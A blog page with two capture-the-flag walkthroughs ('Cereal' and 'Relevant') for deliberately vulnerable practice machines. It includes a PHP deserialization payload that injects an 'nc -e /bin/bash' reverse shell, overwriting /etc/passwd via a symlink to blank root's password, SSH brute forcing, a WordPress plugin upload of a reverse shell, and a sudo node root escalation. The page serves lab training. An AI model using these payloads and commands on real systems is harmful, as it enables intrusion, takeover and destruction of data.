CTF's Hacking My CTF Walkthroughs Walkthroughs

Cereal – Walkthrough

I’ve had a lot of questions around this box so here is a walkthrough in case you get stuck. This walkthrough assumes you have knowledge of nmap, wordlist scanners, Burp Suite, and PHP.

Firstly, let’s scan our local network to find the device:

nmap -sP

Once you find the relevant IP, let’s continue to scan the box itself.

nmap -p-

This returns a list of ports:

There’s a fair few ports on this box, so you’ll need to enumerate them quite well. Firstly, let’s try FTP.

Enumerating FTP

We can see from the image that anonymous FTP is enabled. There are no files of interest, and also write access is disabled. We can see the FTP server is vsFTPd 3.0.3 which has no known exploits at this time. Let’s move onto SSH.

Enumerating SSH

It looks like password authentication is enabled. Sometimes, when you try to login to SSH, you may see a banner which gives you useful information, though there isn’t one in this case. Let’s move on.

Enumerating Port 80 – HTTP

We know port 80 is usually running a web server behind it, so let’s visit the IP address in our browser which will access port 80 by default.

The default page is a basic Apache page you often see on servers. It’s pretty useless on its own. Let’s scan the website for common filenames/folders.

I have a custom script that does this, so you’ll need to use your own tools such as dirb/gobuster etc.

This identifies three different files/directories. Let’s take a look at /admin first

Port 80 – Admin Directory

The admin directory looks like an admin login form. Trying a few common username/password combinations does nothing, and the login form is not vulnerable to SQL Injection. Moving on.

Port 80 – Blog

The blog directory is more interesting. It doesn’t seem to render properly – looking at the source code reveals why:

It looks like the HTML source is referencing a domain name (cereal.ctf). As this domain doesn’t really exist, let’s create an entry in /etc/hosts on our attacking machine so that the domain resolves to the machine IP address:

Creating this entry allows the website to render properly.

As we can see, this is a WordPress powered blog. WordPress sometimes has vulnerable plugins or themes, so we may need to scan for these at some point. However, now we have a domain name (cereal.ctf), let’s scan for sub-domains.

ffuf -u 'http://cereal.ctf' -H 'Host: FUZZ.cereal.ctf' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -fw 1,22027

This returns absolutely nothing. Let’s move onto the other ports for now.

Dead Ports

It seems the following ports do not respond when probed:

139, 445, 3306, 11111, 22222, 22223, 33333, 33334, 44444, 55551, 55555

Port 44441 – HTTP

Strangely though, there appears to be another web service running on port 44441.

Let’s try to scan for subdomains on this port instead.

ffuf -u 'http://cereal.ctf:44441' -H 'Host: FUZZ.cereal.ctf' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -fw 2

This reveals a sub-domain. http://secure.cereal.ctf.

After adding this to our /etc/hosts file, we can now visit it in our web-browser.

secure.cereal.ctf (Port 44441)

Looking at this script, it seems to ping our local IP address by default. If we put any other IP into the box, it also appears to ping this. We can try a basic command injection technique here:

This doesn’t seem to work though. Perhaps this isn’t vulnerable to command injection. Looking at the source code, it looks like it may be vulnerable to a PHP deserialization attack. The box is called Cereal, after all.

To assist us further, let’s see if we can find a backup of the PHP file so we can understand how it works a bit more.

Using a wordlist scanner, we find the back_en directory. The enumeration is tricky on this one; this directory isn’t on all wordlists. Using directory-list-2.3-big.txt reveals the directory.

The folder looks like indexes are disabled though, so we can’t see what files are in there.

Let’s scan for them instead! .back, .bak. .backup are common backup file extensions so it makes sense to scan these extensions. This reveals index.php.bak!

If we visit that file and review the source code, we can see the PHP code sat behind the web form.

class pingTest {
	public $ipAddress = "";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
				$this->isValid = True;


	public function ping()
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	


if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;


We need to understand how this script works before we can exploit it. I won’t dissect the code completely so if you don’t understand it fully, I recommend learning PHP, specifically around object orientation.

As we can see, there is a pingTest class within the script. We can see the different variables within the class such as ipAddress and isValid.

The script seems to accept a serialized pingTest object via HTTP POST. It then deserializes the object passed from HTTP post, calls the validate function, and in turn calls the ping function. We can therefore see that when we type in an IP address on the web form and click submit, Javascript serializes the object ready for PHP, and then passes that object to the PHP script. The script validates the IP address value within the object and then proceeds to ping it if the IP address is vaild.

To ping the IP address, the shell_exec command is called which simply executes the command on the local system. The reason our initial command injection attempt didn’t work was because our IP Address input did not pass the IP address validation.

However, as the script unseriealizes the entire pingTest object submitted via HTTP post, we can look to set the ‘isValid’ boolean, and trick the script into thinking the IP address with an additional command we supply is valid, gaining remote code execution on the system.

When we ping from the web form, we see the serialized object being sent from the web form to the PHP script. Only the ipAddress variable is supplied though – isValid is not supplied by the web form at all.

The request as seen in Burp Suite:

Let’s craft our own payload, injecting our own command but supplying the isValid variable to bypass IP validation. To do this, we can create a PHP file on our attacker system:


class pingTest {
     public $ipAddress = " & nc -e /bin/bash 80";
     public $isValid = True;

echo urlencode(serialize(new pingTest));


As seen above, the isValid variable has been set to True, and a nc command has been injected onto the end of the IP address.

If we run this PHP file from our attacker machine terminal, we get a URL Encoded Serialized object which we can submit in the intercepted Burp Suite request:

Let’s also open the netcat listener on our attack box ready:

sudo nc -nvlp 80

If we go back to the web form, type in a random IP and click submit, we can intercept the request in Burp Suite and overwrite the object with our payload instead:

After submitting, our netcat listener gets a hit and we have a reverse shell:

The reason this works is because the isValid variable has been set to True, so the script skips IP Address validation and passes our input directly to the shell_exec function. Therein lies the vulnerability.

Privilege Escalation

When we login to the box, we appear to be an unprivileged user (apache). There are loads of privilege escalation checks you can do, but I’m going to cut straight to the chase.

Using pspy which I download onto the box, I can review what cron jobs are running. You might need to wait a while though as the relevant cron job we can exploit runs only once every 10 minutes:

After we wait a few minutes, we can see the root user is running a script (/usr/share/scripts/ Let’s review that script.

It looks like this script simply changes the owner of /home/rocky/public_html/* as rocky:apache. The script is also read only so we can’t edit it. However, we can exploit this functionality.

We know the root user is running this script (UID=0), and is changing the owner and group of every file in /home/rocky/public_html/ – if we create a symbolic link in this directory to /etc/passwd, the script will change the owner of /etc/passwd and it may make it writeable for us. If we can control /etc/passwd, we can easily get root.

Using this command, I create a symlink:

ln -s /etc/passwd /home/rocky/public_html/passwd

Now, we just need to wait for the script to execute again. Once it does, the file is now owned by the apache group.

We can overwrite /etc/passwd using the following command to remove the root password:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

Now we can simply escalate straight to root using the su command.

This box was intentionally designed to require a lot of enumeration. Hopefully you can apply some of this knowledge going forward. Good luck!


Relevant – CTF Walkthrough

It’s been a while since I’ve done a CTF from VulnHub. Life has been busy but I’ve also been doing a few boxes on Offensive Security Proving Grounds. I’ve cancelled my subscription for now though as I still think it needs a bit of work unfortunately before it fully competes with Hack The Box or Try Hack Me, but I’ll give it another go in the future.

Anyway, here is my experience rooting the Relevant CTF.

Initial Enumeration

I started off with an NMAP scan. This identified two open ports.

nmap -p-

The open ports were SSH (22), and HTTP (80).

I figured the web server running on port 80 was probably more interesting than the SSH server, so I loaded up my browser and visited the main page.

Main page for Relevant CTF

This showed a database connection error with a message indicating that the website had been compromised already. As you can see, there were three links. I visited the first link, and was directed to a YouTube video which was a cover for “Never Gonna Give You Up” by Rick Astley. Two minutes into the CTF challenge and I’ve already been Rickrolled. Thanks for that.

Never Gonna Give you Up – By Rick Astley (a cappella cover)

After being rickrolled, I visited the second link which appeared to be a dump of credentials on PasteBin.

I saved the users from this dump into /tmp/users.txt, and the passwords in /tmp/passwd.txt. Given we know the SSH service is running on port 22, I decided to use Hydra to brute force SSH.

hydra -l /tmp/users.txt -p /tmp/passwd.txt ssh://

Unfortunately, this returned no valid SSH credentials.

I moved onto the final link, which appeared to be a QR code.

I found a website where you can decode QR codes. This showed that the raw text contained within the QR code started with “otpauth://”.

I recognised this prefix – this is a One Time Passcode key used to generate one time passcodes. You can therefore scan this QR code using an app such as Google Authenticator which will then generate a one time passcode every 30 seconds or so. I didn’t know what I needed this OTP key for, but kept it for reference in case I needed it further into the CTF challenge.


As mentioned in one of my previous CTF walk-through articles, I’ve created my own script (called OTT) which rather simply runs GoBuster commands against a set of wordlists. This saves me time writing out the GoBuster commands and checks against various wordlists saving a lot of time. To run the command below, you will need to download the OTT script or instead use GoBuster.

ott 50

This revealed a few directories such as wp-admin and wp-content revealing this is probably a WordPress website. We know we can use a tool called WPScan to check for vulnerable WordPress versions, plugins, and themes. I suspected that I may run into challenges with this given the front page of the website is showing a database connection error.

wpscan --url -e at,ap,u --api-token REDACTED

I ran this command which immediately halted the scan as it did not detect a WordPress installation. I suspected this may be due to the database being offline or the modified front page.

A quick check of the man pages for wpscan (man wpscan) identified you can use the –force option to skip wpscan checking whether we are targeting a WordPress website or not. I appended this option to the command, and the scan started running. It identified the WordPress version quite quickly and started scanning for themes and plugins, but it did not find anything vulnerable.

I noticed that WPScan only appeared to be using ‘passive methods’ for plugin enumeration, even though ‘themes’ were being scanned aggressively. I looked at the man pages for WPScan again and worked out that you can add an option to your command to scan plugins aggressively (–plugins-detection aggressive). I added this option to my command and ran it again; after letting the scan run for some time, it identified a vulnerable plugin called File Manager. The vulnerability type was Remote Code Execution.

I recall seeing about this vulnerability in recent news. It’s a very popular WordPress plugin so it gained a lot of attention when this vulnerability was identified.

I visited the first URL WPScan suggested for information.

This page had a proof of concept script. It appears the script uploads a file called ‘payload.php’ to the web server. I therefore downloaded the Pentestmonkey PHP Reverse Shell and renamed it to payload.php to upload my own payload.


I executed the script which uploaded the file successfully.

The file path it gave me though returned a 404 error, so I had to do a bit of digging to find out where the files were actually saved. The correct path is /wp-content/plugins/wp-file-manager/lib/files/payload.php.

I span up my listener using Netcat, visited the payload.php file, and had a shell. As always, I spawned a tty shell using python.

python3.8 -c 'import pty; pty.spawn("/bin/bash")'

We have a shell

Now I had a shell, I needed to work out how to escalate my privileges. Sometimes, you can escalate directly to root. Other times, you have to pivot to another user on the system before being able to get root access.

At this stage, I didn’t know what I would need to escalate my privileges. I started to run a few basic checks.

  • Sudo commands (sudo -l) – this revealed no commands I could run
  • SUID Checks (find / -perm -u=s -type f 2>/dev/null) – this revealed no interesting binaries with the SUID bit set.
  • Loading pspy on the system to check if any cron jobs were running

These checks revealed nothing of use, so I proceeded to check /etc/passwd and review the /home directory to see what users were on the system.

The home directory showed a few user folders. I had a look around each one. I observed two things:

  • The ‘patsy’ user had a file called .google_authenticator – this was interesting given we already had a key for generating OTP’s. Perhaps we need to pivot to this user?
  • The ‘relevant’ user had a file called .sudo_as_admin_successful – could this indicate this user has sudo access? Perhaps this was the user we needed to pivot to?

I needed to find a way to pivot to one of these users. I decided to check for files the three users owned to see if that could assist me with the pivoting.

find / -user h4x0r

This identified something of interest which I didn’t spot when enumerating this user folder initially.

Can you spot it? The user has a file called ‘note.txt’ which seems to be well hidden.

I output the file using my shell, which showed a user and password hash. I didn’t spot the ‘news’ user in my initial checks but I double checked the passwd file on the system and confirmed the user ‘news’ did indeed exist.

I input the hash into which revealed the password. I was then able to switch user using the su command and the newly unhashed password.

Getting root

Once I successfully switched to the ‘news’ user, I decided to run a few standard checks again. I started by checking which commands the user could run using sudo (sudo -l).

This revealed /usr/bin/node.

I’ve not seen this binary before, but a quick check of GTFOBins revealed I could run a simple command to escalate to root.

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'

I ran this command, which elevated my permissions straight to the root user.

I enjoyed this CTF – I didn’t find it too challenging but it was fun to see a few different things I haven’t come across before. Thanks to @iamv1nc3nt for the CTF!

By the way, I didn’t end up using the One Time Passcode, which makes me wonder if this box has alternative routes? Who knows…